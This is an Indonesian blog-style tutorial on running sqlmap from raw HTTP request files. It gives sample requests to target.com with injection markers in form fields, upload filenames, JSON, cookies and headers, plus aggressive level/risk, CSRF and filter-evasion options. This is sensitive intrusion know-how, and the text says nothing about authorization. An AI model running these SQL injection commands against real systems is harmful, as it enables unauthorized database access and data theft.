Pakai sqlmap dari Raw Request File buat POST, Upload, dan Header
Cara pakai sqlmap lewat raw request file (-r) buat POST biasa, multipart upload, JSON, cookie, dan custom header. Lebih enak daripada ngetik manual.
Kalau mau pakai sqlmap dari request mentah, enaknya begini
Gue paling sering pakai -r kalau request-nya udah ribet: ada form POST, upload file, cookie, atau header custom. Jadi tinggal simpan request mentah ke file, lalu lempar ke sqlmap. Simpel dan nggak perlu ngetik ulang satu-satu.
Intinya, -r itu buat load raw HTTP request dari file. Cocok banget kalau request-nya hasil copy dari Burp Suite, ZAP, atau DevTools.
Masalah yang sering bikin bingung
- Parameter nggak ke-detect karena request-nya cuma URL biasa.
- Mau test header, tapi sqlmap malah nggak nyentuh header itu.
- Upload multipart susah ditulis manual.
- Ada token yang berubah-ubah, jadi request gampang gagal.
Solusi paling aman: pakai file request mentah
Bikin file misalnya request.txt, lalu isi dengan request asli. Setelah itu jalankan sqlmap dengan -r.
sqlmap -r request.txt --batchKalau mau lebih agresif dan sekalian nyoba header atau cookie, naikkan level dan risk-nya.
sqlmap -r request.txt --level=3 --risk=2 --batchContoh 1: POST form biasa
Kalau form-nya model application/x-www-form-urlencoded, formatnya kira-kira begini:
POST /login.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml
Content-Type: application/x-www-form-urlencoded
Connection: close
username=admin*&password=test123&submit=LoginTanda * itu penanda titik injection. Gue biasanya taruh di value yang pengin dites.
sqlmap -r login.txt --batchContoh 2: multipart upload atau attachment
Ini yang sering kepakai kalau ada upload file. Format raw request-nya memang agak panjang, tapi justru enak kalau disimpan utuh.
POST /upload.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: text/html
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
Connection: close
------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="title"
laporan_bulanan*
------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="file"; filename="report.pdf"
Content-Type: application/pdf
%PDF-1.4
1 0 obj
<<
/Type /Catalog
>>
endobj
%%EOF
------WebKitFormBoundary7MA4YWxk--Kalau pengin nyoba di nama file, tinggal ubah jadi filename="report*.pdf".
sqlmap -r upload.txt --level=3 --risk=2Contoh 3: POST JSON
Buat API, raw request juga bisa dipakai. Tinggal pastikan body JSON-nya valid.
POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1Qi...
Connection: close
{"search":"admin*","category":"users","limit":10}sqlmap -r api.txt --batchContoh 4: cookie dan custom header
Kalau parameternya ada di cookie atau header custom, raw request file juga bisa bantu. Tapi ingat, sqlmap biasanya baru lebih rajin ngetes header kalau level-nya dinaikkan.
POST /dashboard/query HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=abc123; role=admin*
X-Forwarded-For: 192.168.1.1*
Content-Type: application/x-www-form-urlencoded
Connection: close
id=1*&action=view&token=xyzKalau sqlmap nggak nemu parameter
Biasanya masalahnya simpel: titik injection belum ditandai. Coba kasih * manual di value yang mau dites.
- Di body POST:
username=admin* - Di filename upload:
filename="report*.pdf" - Di cookie:
role=admin* - Di header:
X-Forwarded-For: 127.0.0.1*
Kalau ada CSRF token
Ini juga sering bikin request gagal kalau token-nya berubah terus. Kalau memang ada field token, sqlmap bisa dibantu pakai opsi CSRF.
sqlmap -r request.txt --csrf-token="csrf_token" --batchKalau token diambil dari URL lain, biasanya perlu --csrf-url. Tapi ini tergantung alur aplikasinya.
Kalau HTTPS atau sertifikatnya aneh
Kalau ketemu sertifikat yang bikin ribet, kadang perlu pakai opsi force SSL.
sqlmap -r request.txt --force-ssl --batchCatatan kecil yang kepake banget
-rpaling enak buat request kompleks.--level=2ke atas bikin header dan cookie lebih mungkin dites.--risk=2atau3bikin payload lebih agresif, jadi pakai seperlunya.-p nama_paramberguna kalau mau fokus ke satu parameter aja.--random-agentkadang bantu kalau ada filter yang terlalu sensitif.
Command yang sering gue pakai
# Basic
sqlmap -r request.txt --batch
# Lebih agresif
sqlmap -r request.txt --level=3 --risk=2 --batch
# Fokus ke satu parameter
sqlmap -r request.txt -p "username" --batch
# Kalau ada token CSRF
sqlmap -r request.txt --csrf-token="csrf_token" --batchPenutup
Kalau targetnya request POST, upload file, atau header custom, pakai raw request file itu jauh lebih waras daripada ngoprek parameter satu-satu dari nol. Gue pribadi paling sering mulai dari Burp, simpan request-nya, terus mainin -r sampai ketemu titik yang pas.
Kalau lu punya contoh request spesifik, sensor aja host atau IP-nya, terus kirim. Nanti bisa gue bantu rapihin jadi format yang siap dipakai.
Tags: Catatan Teknis, sqlmap, pentest, request raw, upload file